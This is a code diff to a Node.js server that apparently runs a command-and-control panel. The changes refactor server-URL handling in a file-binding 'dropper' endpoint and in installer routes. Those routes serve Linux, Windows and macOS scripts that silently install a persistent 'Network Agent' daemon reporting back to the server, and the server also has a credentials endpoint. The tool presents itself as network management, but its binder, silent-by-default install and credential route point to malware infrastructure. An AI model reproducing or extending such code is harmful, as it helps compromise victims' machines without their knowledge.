diff --git a/server.js b/server.js
index 08afe63..fd7e586 100644
--- a/server.js
+++ b/server.js
@@ -280,8 +280,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
   const originalName = req.file.originalname;
   const b64Content = req.file.buffer.toString('base64');
   const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
-  const host = req.headers.host || `${SERVER_IP}:${PORT}`;
-  const serverUrl = PUBLIC_URL || `http://${host}`;
+  const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
   const format = (req.query.format || 'sh').toLowerCase();
 
   let dropper, boundName, contentType;
@@ -669,12 +668,12 @@ app.get('/api/credentials', (req, res) => {
 });
 
 app.get('/install.sh', (req, res) => {
-  const host = req.headers.host || `${SERVER_IP}:${PORT}`;
+  const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
   const script = `#!/bin/bash
 # Network Node Agent One-Liner Installer for Linux
 set -e
 
-SERVER_URL="http://${host}"
+SERVER_URL="${serverUrl}"
 INSTALL_DIR="/opt/network-agent"
 SERVICE_FILE="/etc/systemd/system/network-agent.service"
 
@@ -721,9 +720,9 @@ echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
 });
 
 app.get('/install.ps1', (req, res) => {
-  const host = req.headers.host || `${SERVER_IP}:${PORT}`;
+  const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
   const script = `# Network Agent PowerShell Installer for Windows
-$SERVER_URL = "http://${host}"
+$SERVER_URL = "${serverUrl}"
 $INSTALL_DIR = "C:\\ProgramData\\NetworkAgent"
 
 Write-Host "==================================================" -ForegroundColor Cyan
@@ -748,12 +747,12 @@ Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_
 });
 
 app.get('/install-mac.sh', (req, res) => {
-  const host = req.headers.host || `${SERVER_IP}:${PORT}`;
+  const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
   const script = `#!/bin/bash
 # macOS Node Agent Installer — launchd background daemon
 set -e
 
-SERVER_URL="http://${host}"
+SERVER_URL="${serverUrl}"
 INSTALL_DIR="/opt/network-agent"
 PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist"
 
@@ -814,12 +813,12 @@ echo "   To stop: launchctl unload $PLIST_FILE"
 
 // ── Universal Auto-Install (one command, any OS, fully silent) ──
 app.get('/install', (req, res) => {
-  const host = req.headers.host || `${SERVER_IP}:${PORT}`;
+  const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
   const silent = req.query.silent !== '0';  // silent by default
   const quiet = silent ? '>/dev/null 2>&1' : '';
   const script = `#!/bin/bash
 # NexusOps Universal Auto-Installer — one command, any OS
-SERVER_URL="http://${host}"
+SERVER_URL="${serverUrl}"
 echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
 
 case "$(uname -s 2>/dev/null || echo Windows)" in